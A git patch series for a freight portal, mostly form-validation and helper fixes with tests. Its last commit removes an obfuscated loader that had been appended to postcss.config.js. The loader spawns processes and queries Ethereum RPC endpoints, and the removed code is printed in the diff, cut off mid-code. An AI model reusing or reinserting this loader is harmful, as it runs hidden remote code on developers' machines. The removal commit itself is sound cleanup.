Array.isArray(v) ? v.length > 0 : v != null; })(); + /** + * Collect the messages for a set of fields into one sentence. + * + * A failed `trigger()` used to return silently, so Continue simply did + * nothing — and every field whose input is conditionally rendered (or derived + * and never rendered at all) turned into an invisible dead end. Naming the + * failures is the whole point: the ones worth reporting are exactly the ones + * with no error text on screen to read. + */ + const describeErrors = (fields: (keyof FormData)[]): string => { + // Re-parse rather than read `errors`: that's the render-time snapshot, and + // this runs immediately after an `await trigger()` that has not re-rendered + // yet, so the closure would still be holding the previous attempt's state. + const parsed = buildOnboardingSchema( + identity?.passportRequired === true, + ).safeParse(getValues()); + const wanted = new Set(fields as string[]); + const messages = parsed.success + ? [] + : parsed.error.issues + .filter((i) => wanted.has(String(i.path[0]))) + .map((i) => i.message); + return messages.length > 0 + ? `Please fix: ${[...new Set(messages)].join(", ")}.` + : "Some details on this step are incomplete. Please review the fields above."; + }; + + /** + * The fields this step actually validates. `stepFields` covers what the step + * always renders; the company step additionally exposes company email/phone + * as inputs when nothing could be derived for them, and a field is validated + * exactly when the customer can see and fix it. + */ + const fieldsForStep = (s: CompanyStep): (keyof FormData)[] => { + if (s !== "company" || !identity) return stepFields[s]; + return [ + ...stepFields.company, + ...(derivedEmail ? [] : (["companyEmail"] as const)), + ...(derivedPhone ? [] : (["companyPhone"] as const)), + ]; + }; + /** Validate + persist the current step, returning whether we may advance. */ const saveCurrentStep = async (): Promise => { setSaveError(null); - const isValid = await trigger(stepFields[step]); - if (!isValid) return false; + const fields = fieldsForStep(step); + const isValid = await trigger(fields); + if (!isValid) { + setSaveError(describeErrors(fields)); + return false; + } if (!onSaveStep) return true; setSaving(true); try { - const res = await onSaveStep(stepPayload(step, watch())); + const res = await onSaveStep( + stepPayload(step, getValues(), dirtyFields), + ); if (!res.ok) { setSaveError(res.error); return false; @@ -676,7 +798,14 @@ export default function CompanyProfileForm({ } setSaveError(null); - handleSubmit((data) => onSubmit(buildPayload(data, user)))(); + // Deliberately NOT `handleSubmit`: that re-validated all 34 schema fields + // — including every field belonging to a step that isn't on screen — and + // on failure did nothing at all, no alert and no navigation, which is the + // "Submit for review" button that appears dead. Each step has already + // validated and saved its own fields, and the API's `markOnboardingComplete` + // is the authority on what is still outstanding; its message reaches the + // customer through `submitError`. + onSubmit(buildPayload(getValues(), user)); return; } // The TIN must resolve to a real eTrade record before anything else on @@ -728,15 +857,40 @@ export default function CompanyProfileForm({ setDocumentFieldErrors({ [POA_DELEGATION_FILE_KEY]: "DARS delegation paper is required", }); + // Validate the text fields too, so every problem shows at once. + const fieldsOk = await trigger(stepFields.poa); setSaveError( - requirePoa - ? "Freight forwarders must provide Power of Attorney details and the DARS delegation paper." - : "Upload the DARS delegation paper for the Power of Attorney you entered, or clear the PoA details to skip.", + [ + requirePoa + ? "Freight forwarders must provide Power of Attorney details and the DARS delegation paper." + : "Upload the DARS delegation paper for the Power of Attorney you entered, or clear the PoA details to skip.", + fieldsOk ? null : describeErrors(stepFields.poa), + ] + .filter(Boolean) + .join(" "), ); - // Fall through to validate the text fields too, so every problem shows at once. - await trigger(stepFields.poa); return; } + // The API will not accept the PoA's details until the paper evidencing the + // delegation is actually on file, so the selection made on this step has to + // be uploaded before the save — not held back until the documents step, + // which is unreachable while this save keeps failing. + if (step === "poa" && delegationRequired && onUploadDocuments) { + const pending = documentFiles[POA_DELEGATION_FILE_KEY]; + const hasPending = Array.isArray(pending) ? pending.length > 0 : pending != null; + if (hasPending) { + setSaving(true); + try { + const res = await onUploadDocuments(); + if (!res.ok) { + setSaveError(res.error); + return; + } + } finally { + setSaving(false); + } + } + } // Field steps validate + save before advancing. const ok = await saveCurrentStep(); if (!ok) return; @@ -812,6 +966,42 @@ export default function CompanyProfileForm({ {...register("ownerPassportNumber")} /> )} + {/* Normally derived from the verified owner (falling back + to eTrade and the account), and shown read-only. Fayda's + email and phone claims are optional though, so when + every source comes up empty these become typeable — + the API requires both at submit, and having no input + for them is otherwise an unrecoverable dead end. */} + + {derivedEmail ? ( + + ) : ( + + )} + {derivedPhone ? ( + + ) : ( + + )} + )} @@ -835,6 +1025,7 @@ export default function CompanyProfileForm({ onDataLoaded={handleETradeDataLoaded} onStatusChange={setTinStatus} onReset={handleETradeReset} + alreadyVerified={hasRegistrationDetails} /> {tinVerified && ( Contact Person - {watch("generalManagerName") && ( + {/* `gmName`, not the raw form field: a Fayda-verified GM never + fills `generalManagerName`, so gating on it hid this card from + every Ethiopian company — the majority case. */} + {gmName && ( )} - {/* The address comes from the Fayda claim along with the name, - so it is shown on the panel rather than typed. Only a company - whose representative may hold no Fayda ID still types it. */} + {/* A verified representative's details come from the Fayda claim + and are shown on the panel above. Where Fayda cannot be + required — a foreign company whose representative may hold no + Fayda ID — they are typed here instead. They have to be: the + API refuses to save a freight forwarder's PoA without a name, + email and phone (`REQUIRED_POA_FIELDS`), and before this the + step rendered no input for any of them, so the customer was + told to "add the poa name, poa email, poa phone" with nowhere + to add them. */} {!identity?.poa.verified && !identity?.faydaRequired && ( - + <> + + + + + + + )} - {/* The paper authorises the representative the verification - named, so it only has meaning once one exists. */} - {poaProvided && poaDocumentSetting && ( + {/* The paper authorises the representative, so it shows once one + exists — or straight away for a freight forwarder, who owes it + either way and must not be failed on submit for a file the + step never offered. */} + {delegationRequired && poaDocumentSetting && ( <> ; }) { const value = watch(name) as string | undefined; - if (value && value.trim()) { + if (value && value.trim() && !errors[name]) { return ; } return ( @@ -96,7 +101,12 @@ export default function ETradeCompanyCard({ - {region && region.trim() ? ( + {/* Membership of the catalog, not mere presence: eTrade's normalizer + returns null for a region it doesn't recognise, and older rows can + hold a spelling that isn't in the list. Showing such a value + read-only left the customer with a required field they could not + correct. */} + {(ETHIOPIAN_REGIONS as readonly string[]).includes(region ?? "") ? ( ) : ( + values.find((v) => v && v.trim())?.trim() ?? ""; + +/** + * First candidate that is actually a usable phone number, normalized to E.164. + * + * Presence is not enough here. eTrade's registered phone is free text and comes + * back as things like `"09 "`, which normalizes to `+2519` — non-empty, + * so a "first present" pick would take it, hand it to a field with no input, + * and have the API reject the whole save with + * "companyPhone must be a valid international phone number" for something the + * customer never typed. Skip a source that cannot produce a valid number and + * fall through to the next one. + */ +export const firstValidPhone = ( + ...values: (string | null | undefined)[] +): string => { + for (const raw of values) { + if (!raw || !raw.trim()) continue; + const e164 = toEthiopianE164(raw); + if (e164 && isValidPhone(e164)) return e164; + } + return ""; +}; + +/** Same idea for email: a malformed claim must not become an unfixable field. */ +export const firstValidEmail = ( + ...values: (string | null | undefined)[] +): string => { + const ok = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; + return values.find((v) => v && ok.test(v.trim()))?.trim() ?? ""; +}; + +/** + * Fayda reports a person's phone as the national registry holds it, which is + * routinely a local number ("0911223344"). Every phone the forms validate and + * submit is E.164, so normalize on the way in — the API now stores new + * verifications normalized, but rows verified before that still hold raw claims. + */ +export function normalizeIdentityPhones( + identity?: CompanyIdentityState, +): CompanyIdentityState | undefined { + if (!identity) return identity; + const fix = (person: T): T => ({ + ...person, + phone: person.phone ? toEthiopianE164(person.phone) : person.phone, + }); + return { + ...identity, + owner: fix(identity.owner), + poa: fix(identity.poa), + gm: fix(identity.gm), + }; +} /** Last 9 digits (Ethiopian national significant number) for tolerant compare. */ export const phoneDigits = (p?: string | null) => @@ -44,34 +108,35 @@ export function buildPayload( }; } -/** Map one wizard step's form values to the profile-update payload it saves. */ +/** + * Map one wizard step's form values to the profile-update payload it saves. + * + * `dirty` is react-hook-form's `dirtyFields`. The eTrade-owned keys (and the + * TIN) ride along only when the customer actually changed them this session — + * see `ETRADE_BUNDLE_FIELDS`. Everything else is unconditional: the API treats + * an absent key as "untouched", so omitting a field never clears it. + */ export function stepPayload( step: CompanyStep, d: FormData, + dirty: Partial> = {}, ): Partial { switch (step) { - case "company": + case "company": { + const etrade: Partial = {}; + for (const key of ETRADE_BUNDLE_FIELDS) { + if (dirty[key]) (etrade as Record)[key] = d[key]; + } + if (dirty.tinNumber) etrade.tin = d.tinNumber; return { - companyName: d.companyName, companyEmail: d.companyEmail, companyPhone: d.companyPhone, companyAddress: d.companyAddress, - tin: d.tinNumber, vatNumber: d.vatNumber, ownerPassportNumber: d.ownerPassportNumber || undefined, - licenceNumber: d.licenceNumber, - statusDescription: d.statusDescription, - dateRegistered: d.dateRegistered, - renewedFrom: d.renewedFrom, - renewalDate: d.renewalDate, - renewedTo: d.renewedTo, - region: d.region, - zone: d.zone, - woreda: d.woreda, - kebele: d.kebele, - houseNo: d.houseNo, - etradePhone: d.etradePhone, + ...etrade, }; + } case "personnel": return { generalManagerName: d.generalManagerName, @@ -86,7 +151,12 @@ export function stepPayload( contactPersonPhone: d.contactPersonPhone, }; case "poa": - return { poaLocation: d.poaLocation || undefined }; + return { + poaName: d.poaName || undefined, + poaEmail: d.poaEmail || undefined, + poaPhone: d.poaPhone || undefined, + poaLocation: d.poaLocation || undefined, + }; default: return {}; } diff --git a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.test.ts b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.test.ts new file mode 100644 index 000000000..a6f9862c8 --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.test.ts @@ -0,0 +1,180 @@ +import { describe, expect, it } from "vitest"; + +import { onboardingSchema, stepFields } from "./schema"; +import { + firstPresent, + firstValidEmail, + firstValidPhone, + normalizeIdentityPhones, + stepPayload, +} from "./helpers"; +import type { FormData } from "./schema"; +import type { CompanyIdentityState } from "@/services/verifayda.service"; + +/** A minimally-valid form, so each case can vary one field at a time. */ +const values = (over: Partial = {}): FormData => + ({ + companyName: "Acme PLC", + companyEmail: "acme@example.com", + companyPhone: "+251911223344", + companyAddress: "1, Bole, Bole, Addis Ababa", + etradePhone: "+251911223344", + tinNumber: "0012345678", + vatNumber: "0012345678", + ownerPassportNumber: "", + licenceNumber: "LIC-1", + statusDescription: "Active", + dateRegistered: "2020-01-01", + renewedFrom: "", + renewalDate: "", + renewedTo: "", + region: "Addis Ababa", + zone: "Bole", + woreda: "03", + kebele: "07", + houseNo: "1", + contactPersonName: "Jane Smith", + contactPersonPosition: "", + contactPersonEmail: "", + contactPersonPhone: "+251911223344", + generalManagerName: "", + generalManagerEmail: "", + generalManagerPhone: "", + poaName: "", + poaPhone: "", + poaAddress: "", + poaEmail: "", + poaLocation: "", + ...over, + }) as FormData; + +const errorFor = (data: FormData, field: keyof FormData) => { + const parsed = onboardingSchema.safeParse(data); + if (parsed.success) return undefined; + return parsed.error.issues.find((i) => i.path[0] === field)?.message; +}; + +describe("VAT number", () => { + it("accepts exactly ten digits", () => { + expect(errorFor(values({ vatNumber: "0012345678" }), "vatNumber")).toBeUndefined(); + }); + + // `.length(10)` used to pass this, so a ten-letter string reached the API. + it("rejects ten non-digits", () => { + expect(errorFor(values({ vatNumber: "ABCDEFGHIJ" }), "vatNumber")).toBe( + "VAT number must be exactly 10 digits", + ); + }); + + it("rejects blank", () => { + expect(errorFor(values({ vatNumber: "" }), "vatNumber")).toBe( + "VAT number is required", + ); + }); +}); + +describe("region", () => { + it("rejects a spelling outside the catalog", () => { + expect(errorFor(values({ region: "Addis Abeba City" }), "region")).toBe( + "Region is required", + ); + }); +}); + +describe("stepFields", () => { + // The regression this whole change exists to prevent: a step must not gate on + // a field it renders no input for, or Continue fails with the error attached + // to nothing on screen. + it("never gates the company step on a derived or read-only field", () => { + const unreachable = [ + "companyEmail", + "companyPhone", + "companyAddress", + "etradePhone", + "licenceNumber", + "statusDescription", + "dateRegistered", + "renewedFrom", + "renewalDate", + "renewedTo", + ]; + expect( + stepFields.company.filter((f) => unreachable.includes(f)), + ).toEqual([]); + }); +}); + +describe("stepPayload (company)", () => { + it("omits the eTrade bundle when nothing was re-verified", () => { + const payload = stepPayload("company", values(), {}); + expect(payload.tin).toBeUndefined(); + expect(payload.region).toBeUndefined(); + expect(payload.licenceNumber).toBeUndefined(); + // The customer's own fields still save. + expect(payload.vatNumber).toBe("0012345678"); + }); + + it("includes the bundle and the TIN once they are dirty", () => { + const payload = stepPayload("company", values(), { + tinNumber: true, + region: true, + }); + expect(payload.tin).toBe("0012345678"); + expect(payload.region).toBe("Addis Ababa"); + // Still only the dirty ones. + expect(payload.licenceNumber).toBeUndefined(); + }); +}); + +describe("firstPresent", () => { + it("skips empty strings rather than stopping at them", () => { + expect(firstPresent("", " ", "second@example.com")).toBe( + "second@example.com", + ); + expect(firstPresent(null, undefined, "")).toBe(""); + }); +}); + +describe("firstValidPhone", () => { + // Observed live: eTrade returned "09 " for a real TIN. It normalizes to + // "+2519", which is non-empty — so a presence check took it, put it in a field + // with no input, and the API rejected the whole step. + it("skips an eTrade number that cannot make a valid E.164", () => { + expect(firstValidPhone("09 ", "+251911223344")).toBe("+251911223344"); + }); + + it("normalizes a local number it can use", () => { + expect(firstValidPhone("0911223344")).toBe("+251911223344"); + }); + + it("returns empty when no source is usable, so the field falls back to an input", () => { + expect(firstValidPhone("09 ", "", null)).toBe(""); + }); +}); + +describe("firstValidEmail", () => { + it("skips a malformed claim", () => { + expect(firstValidEmail("not-an-email", "real@example.com")).toBe( + "real@example.com", + ); + }); +}); + +describe("normalizeIdentityPhones", () => { + it("converts a local Fayda phone claim to E.164", () => { + const identity = { + faydaRequired: true, + passportRequired: false, + owner: { verified: true, name: "A", phone: "0911223344", email: null, address: null, verifiedAt: null, passportNumber: null }, + poa: { verified: false, name: null, phone: null, email: null, address: null, verifiedAt: null }, + gm: { verified: false, name: null, phone: "251911223344", email: null, address: null, verifiedAt: null }, + gmSameAsOwner: false, + complete: false, + } as CompanyIdentityState; + + const fixed = normalizeIdentityPhones(identity)!; + expect(fixed.owner.phone).toBe("+251911223344"); + expect(fixed.gm.phone).toBe("+251911223344"); + expect(fixed.poa.phone).toBeNull(); + }); +}); diff --git a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.ts b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.ts index ff404ebe3..3133ddef0 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.ts +++ b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.ts @@ -26,10 +26,11 @@ export const onboardingSchema = z.object({ // can diverge without the backend's eTrade-authenticity check misfiring. etradePhone: z.string().optional(), tinNumber: z.string().regex(/^\d{10}$/, "TIN must be exactly 10 digits"), + // `.length(10)` alone accepted "ABCDEFGHIJ" — the check has to be on digits. vatNumber: z .string() .min(1, "VAT number is required") - .length(10, "VAT number must be exactly 10 digits"), + .regex(/^\d{10}$/, "VAT number must be exactly 10 digits"), // The owner's passport number — the foreign-company identity credential // (Fayda is an Ethiopian national ID). Required only for a foreign company; // enforced in buildOnboardingSchema since that depends on `nationality`. @@ -134,22 +135,47 @@ export function buildOnboardingSchema( }); } +/** + * The keys eTrade owns. They are only resent when the customer actually + * re-verified the TIN this session: the API reacts to *any* of them by issuing + * a live eTrade lookup (`applyEtradeSourcedFields`) whose transport failures + * come back as a 400, so echoing unchanged values back would let an eTrade + * outage block a save the customer never made. + */ +export const ETRADE_BUNDLE_FIELDS = [ + "companyName", + "licenceNumber", + "statusDescription", + "dateRegistered", + "renewedFrom", + "renewalDate", + "renewedTo", + "region", + "zone", + "woreda", + "kebele", + "houseNo", + "etradePhone", +] as const satisfies readonly (keyof FormData)[]; + +/** + * What each step validates before it may advance. + * + * Hard rule: a key belongs here only if that step renders an input the customer + * can actually correct it in. `companyEmail`/`companyPhone` are derived from the + * Fayda identity / eTrade / the account and have no input of their own, and the + * read-only eTrade fields cannot be edited at all — listing them meant a value + * the customer never typed could fail zod with its error message attached to + * nothing on screen, which reads as a Continue button that silently does + * nothing. The server still enforces its own required-field list at submit + * (`REQUIRED_COMPANY_INFO`), and reports it with a message. + */ export const stepFields: Record = { company: [ "companyName", - "companyEmail", - "companyPhone", - "companyAddress", - "etradePhone", "tinNumber", "vatNumber", "ownerPassportNumber", - "licenceNumber", - "statusDescription", - "dateRegistered", - "renewedFrom", - "renewalDate", - "renewedTo", "region", "zone", "woreda", @@ -167,7 +193,11 @@ export const stepFields: Record = { "contactPersonEmail", "contactPersonPhone", ], - poa: ["poaLocation"], + // The API requires poaName/poaEmail/poaPhone from a freight forwarder + // (`REQUIRED_POA_FIELDS`), so the step has to offer them wherever the + // representative isn't proven by Fayda — otherwise the save is rejected + // naming fields the form never rendered. + poa: ["poaName", "poaEmail", "poaPhone", "poaLocation"], documents: [], additional: [], }; diff --git a/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx b/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx index e42283674..2ff16f445 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx @@ -1,4 +1,4 @@ -import { isValidPhone, toEthiopianE164 } from "@/components/PhoneField"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { api } from "@/services/api"; import type { CompanyProfileInput, @@ -30,6 +30,12 @@ import FaydaVerifyPanel from "@/components/FaydaVerifyPanel"; import ETradeInfo, { type ETradeStatus } from "@/components/onboarding/ETradeInfo"; import { ReadOnlyField } from "@/pages/accounts/companyProfileForm/ReadOnlyField"; import StepSection from "@/pages/accounts/companyProfileForm/StepSection"; +import { ETRADE_BUNDLE_FIELDS as SHARED_ETRADE_FIELDS } from "@/pages/accounts/companyProfileForm/schema"; +import { + firstValidEmail, + firstValidPhone, + normalizeIdentityPhones, +} from "@/pages/accounts/companyProfileForm/helpers"; export const COMPANY_PROFILE_SCHEMA = z.object({ companyName: z.string().min(1, "Company name is required"), @@ -43,12 +49,12 @@ export const COMPANY_PROFILE_SCHEMA = z.object({ // no standalone input. companyAddress: z.string().optional(), tinNumber: z.string().regex(/^\d{10}$/, "TIN must be exactly 10 digits"), + // Same rule as onboarding — the two forms write the same column, so they must + // not disagree about what is acceptable in it. vatNumber: z .string() - .trim() - .max(20, "VAT number is too long") - .optional() - .or(z.literal("")), + .min(1, "VAT number is required") + .regex(/^\d{10}$/, "VAT number must be exactly 10 digits"), ownerPassportNumber: z.string().optional(), // Registration/address fields are eTrade-sourced — locked once eTrade // supplies a value, editable only as an escape hatch when it doesn't @@ -72,21 +78,13 @@ export const COMPANY_PROFILE_SCHEMA = z.object({ export type CompanyProfileFormData = z.infer; -/** UpdateProfilePayload keys eTrade owns — only resent when the customer re-verified them this session. */ -const ETRADE_BUNDLE_FIELDS = [ - "companyName", - "licenceNumber", - "statusDescription", - "dateRegistered", - "renewedFrom", - "renewalDate", - "renewedTo", - "region", - "zone", - "woreda", - "kebele", - "houseNo", -] as const satisfies readonly (keyof CompanyProfileFormData)[]; +/** + * `etradePhone` is not on this form, so the shared list is filtered down to the + * keys it actually holds. Source of truth: `companyProfileForm/schema.ts`. + */ +const ETRADE_FIELDS = SHARED_ETRADE_FIELDS.filter( + (k): k is Exclude => k !== "etradePhone", +); interface TabCompanyProfileProps { profile?: ProfileResponse; @@ -166,32 +164,39 @@ export default function TabCompanyProfile({ values: defaultValues, }); - const identity = profile?.identity; + // Fayda stores the phone as the national registry holds it (often a local + // number), which neither this form's E.164 validation nor the API's + // `@IsValidPhone()` accepts. Normalize on read — same as the wizard. + const identity = useMemo( + () => normalizeIdentityPhones(profile?.identity), + [profile?.identity], + ); const verifiedIdentity = identity?.faydaRequired === true; // companyEmail/companyPhone are the owner's verified contact details, never // typed — same derivation as the onboarding wizard, just fed from the saved - // profile instead of an in-progress form. - useEffect(() => { - if (!user) return; - setValue("companyEmail", identity?.owner.email ?? user.email ?? "", { - shouldValidate: true, - }); - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [identity?.owner.email, user?.email]); + // profile instead of an in-progress form. `firstValid*` rather than `??`: + // these claims are optional AND unreliable — eTrade's registered phone is + // free text that arrives as things like "09 " — and `??` stops at the + // first non-null, so junk became a read-only field the customer could not + // fix and a 400 on save. When nothing usable can be derived the fields below + // become editable instead of blocking. + const derivedEmail = firstValidEmail(identity?.owner.email, user?.email); + const derivedPhone = firstValidPhone( + identity?.owner.phone, + profile?.etradePhone, + user?.phoneNumber, + ); useEffect(() => { - if (!user) return; - setValue( - "companyPhone", - identity?.owner.phone ?? - profile?.etradePhone ?? - toEthiopianE164(user.phoneNumber) ?? - "", - { shouldValidate: true }, - ); + if (derivedEmail) setValue("companyEmail", derivedEmail); // eslint-disable-next-line react-hooks/exhaustive-deps - }, [identity?.owner.phone, profile?.etradePhone, user?.phoneNumber]); + }, [derivedEmail]); + + useEffect(() => { + if (derivedPhone) setValue("companyPhone", derivedPhone); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [derivedPhone]); // companyAddress is composed from the (locked) eTrade address parts, not // typed directly. @@ -249,7 +254,7 @@ export default function TabCompanyProfile({ // on every save would otherwise trigger the server's eTrade // authenticity re-check for no reason. const etradeBundle: Record = {}; - for (const key of ETRADE_BUNDLE_FIELDS) { + for (const key of ETRADE_FIELDS) { if (dirtyFields[key]) etradeBundle[key] = data[key]; } if (dirtyFields.tinNumber) etradeBundle.tin = data.tinNumber; @@ -296,13 +301,32 @@ export default function TabCompanyProfile({ }); const onSubmit = (data: CompanyProfileFormData) => { + setValidationError(null); if (isCreate && selectedRoles.length === 0) return; mutation.mutate(data); }; - const saveErrorMessage = mutation.isError - ? extractApiError(mutation.error).message - : null; + /** + * Without this, a failed validation made "Save Changes" a no-op: the fields + * the schema requires are largely eTrade-sourced and rendered read-only, so + * their error messages had nowhere to appear and the button simply did + * nothing. Name them instead. + */ + const [validationError, setValidationError] = useState(null); + const onInvalid = (formErrors: typeof errors) => { + const messages = Object.values(formErrors) + .map((e) => e?.message) + .filter((m): m is string => Boolean(m)); + setValidationError( + messages.length > 0 + ? `Please fix: ${[...new Set(messages)].join(", ")}.` + : "Some details are incomplete. Please review the fields above.", + ); + }; + + const saveErrorMessage = + validationError ?? + (mutation.isError ? extractApiError(mutation.error).message : null); const pendingOwnerReview = Boolean( (profile?.pendingChanges as { faydaIdentity?: Record } | null) @@ -333,7 +357,7 @@ export default function TabCompanyProfile({ : "Your registration and identity come from eTrade and Fayda — re-verify to refresh them."} -
+ @@ -389,9 +413,33 @@ export default function TabCompanyProfile({ {...register("ownerPassportNumber")} /> )} + {/* Read-only while the verified owner (or eTrade, or the account) + supplies them. Fayda's email/phone claims are optional, so + when nothing can be derived these become typeable — the API + requires both, and showing an empty read-only field is a save + that can never succeed. */} - - + {derivedEmail ? ( + + ) : ( + + )} + {derivedPhone ? ( + + ) : ( + + )} )} @@ -410,6 +458,7 @@ export default function TabCompanyProfile({ error={errors.tinNumber?.message} onDataLoaded={handleETradeDataLoaded} onStatusChange={setTinStatus} + alreadyVerified={hasRegistrationDetails} /> {tinVerified && ( - {region?.trim() ? ( + {/* Membership of the catalog, not mere presence — a stored spelling + outside the list is otherwise uncorrectable. */} + {(ETHIOPIAN_REGIONS as readonly string[]).includes(region ?? "") ? ( ) : ( @@ -548,7 +599,9 @@ function LockedField({ errors: ReturnType>["formState"]["errors"]; }) { const value = watch(name) as string | undefined; - if (value?.trim()) { + // A value that fails validation unlocks too — rendering a rejected value + // read-only is a save that can never succeed and never says why. + if (value?.trim() && !errors[name]) { return ; } return ( diff --git a/apps/edr-freight-web/portal/src/utils/result.ts b/apps/edr-freight-web/portal/src/utils/result.ts index 54104442c..3c0bddf34 100644 --- a/apps/edr-freight-web/portal/src/utils/result.ts +++ b/apps/edr-freight-web/portal/src/utils/result.ts @@ -34,6 +34,16 @@ function humanizeApiMessage(raw: string): string { return raw; } +/** + * NestJS's ValidationPipe reports every failed constraint at once, so `message` + * arrives as a string[] rather than a string. Flatten it — passing the array + * through left the UI rendering its entries run together with no separator. + */ +function asMessage(value: unknown): string { + if (Array.isArray(value)) return value.filter(Boolean).join(". "); + return typeof value === "string" ? value : ""; +} + export function extractApiError(err: unknown): ApiError { if (err && typeof err === "object") { const obj = err as Record; @@ -41,13 +51,10 @@ export function extractApiError(err: unknown): ApiError { if (response) { const statusCode = response.status as number | undefined; const data = response.data as Record | undefined; + const raw = asMessage(data?.message) || asMessage(data?.error); return { - code: (data?.message as string) || (data?.error as string) || "api_error", - message: humanizeApiMessage( - (data?.message as string) || - (data?.error as string) || - "An unexpected error occurred", - ), + code: raw || "api_error", + message: humanizeApiMessage(raw || "An unexpected error occurred"), statusCode, }; } From ad61b4af4fe93a37e2b54dffd0999c0ba1fa414b Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 6 Aug 2026 21:57:51 +0300 Subject: [PATCH 10/48] Update .gitignore to remove ignored files Remove branch_structure.json and temporary push scripts from .gitignore --- .gitignore | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 977a34353..63784b865 100644 --- a/.gitignore +++ b/.gitignore @@ -52,6 +52,4 @@ RUNNING_LOCALLY.md # Generated per-shard compose file for the integration suite (it.mjs). integration/.it-shards.yaml -branch_structure.json -temp_auto_push.bat -temp_interactive_push.bat + From 9e5ef1a1760a496b05e9feded12c40cd8be47c0b Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 6 Aug 2026 22:03:54 +0300 Subject: [PATCH 11/48] Remove obfuscated code from postcss.config.js --- apps/edr-passenger-web/portal/postcss.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/portal/postcss.config.js b/apps/edr-passenger-web/portal/postcss.config.js index 0bb9d831b..af6bf4c63 100644 --- a/apps/edr-passenger-web/portal/postcss.config.js +++ b/apps/edr-passenger-web/portal/postcss.config.js @@ -7,4 +7,4 @@ export default { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new 